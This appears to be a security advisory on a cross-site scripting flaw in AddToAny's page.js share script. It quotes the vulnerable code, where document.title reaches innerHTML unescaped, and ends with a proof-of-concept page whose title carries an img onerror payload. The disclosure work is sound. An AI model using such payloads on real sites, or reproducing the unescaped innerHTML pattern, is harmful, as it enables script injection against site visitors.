Vulnerable script location : https://static.addtoany.com/menu/page.js
Archived source : https://gist.github.com/cneill/f701c7ccc2a4bb85a6b1
Archive.org snapshot : https://web.archive.org/web/20151017052627/http://static.addtoany.com/menu/page.js
Comparison of script versions :
curl -s https://gist.githubusercontent.com/cneill/f701c7ccc2a4bb85a6b1/raw/ec7683d52eaf28eec6e55fb7efda056b08d5562a/page.js > real-page
curl -s https://web.archive.org/web/20151017052627/http://static.addtoany.com/menu/page.js > archived-page
cat archived-page | tr -d '\n' | sed 's#/\*.*\*/##' | sed 's#/web/20151017052627/##g' > temp && perl -pe 'chomp if eof' temp > archived-page-normalized
diff -q archived-page-normalized real-page
rm temp real-page archived-page archived-page-normalized
Expanded script source (JSNice'd) : https://gist.github.com/cneill/6ecf9fee470eee16f38c
Description :
The 'linkname' attribute of the 'config' parameter is populated from document.title. document.title, even when containing escaped HTML, will return unescaped HTML. The 'linkname' attribute is then passed into the 'main' element's innerHTML without any additional escaping, which opens the possibility for XSS.
Vulnerable Code (expanded) :
var init = function(config, e) {
...
var main = document.createElement("div");
...
var name = a2a.getData(item)["a2a-title"];
...
config.linkname = e.linkname = name || config.linkname;
config.linkurl = e.linkurl = opt_button || config.linkurl;
...
main.innerHTML = config.linkname;
...
};
self.linkname = a2a[self.type].last_linkname = options.linkname || (a2a[self.type].last_linkname || (document.title || location.href));
self.linkurl = a2a[self.type].last_linkurl = options.linkurl || (a2a[self.type].last_linkurl || location.href);
self.linkname_escape = options.linkname_escape;
...
if (a2a.locale && !dataAndEvents) {
a2a.fn_queue.push(function(self, data) {
return function() {
init(self, data);
};
}(self, d));
} else {
init(self, d);
...
}
Proof-of-concept HTML :
<!DOCTYPE html>
<html>
<head>
<title>You searched for "><img src=x onerror=alert(1)></title>
</head>
<body>
<script>
y = document.createElement('a');
y.innerHTML = ( document.title || location.href );
</script>
</body>
</html>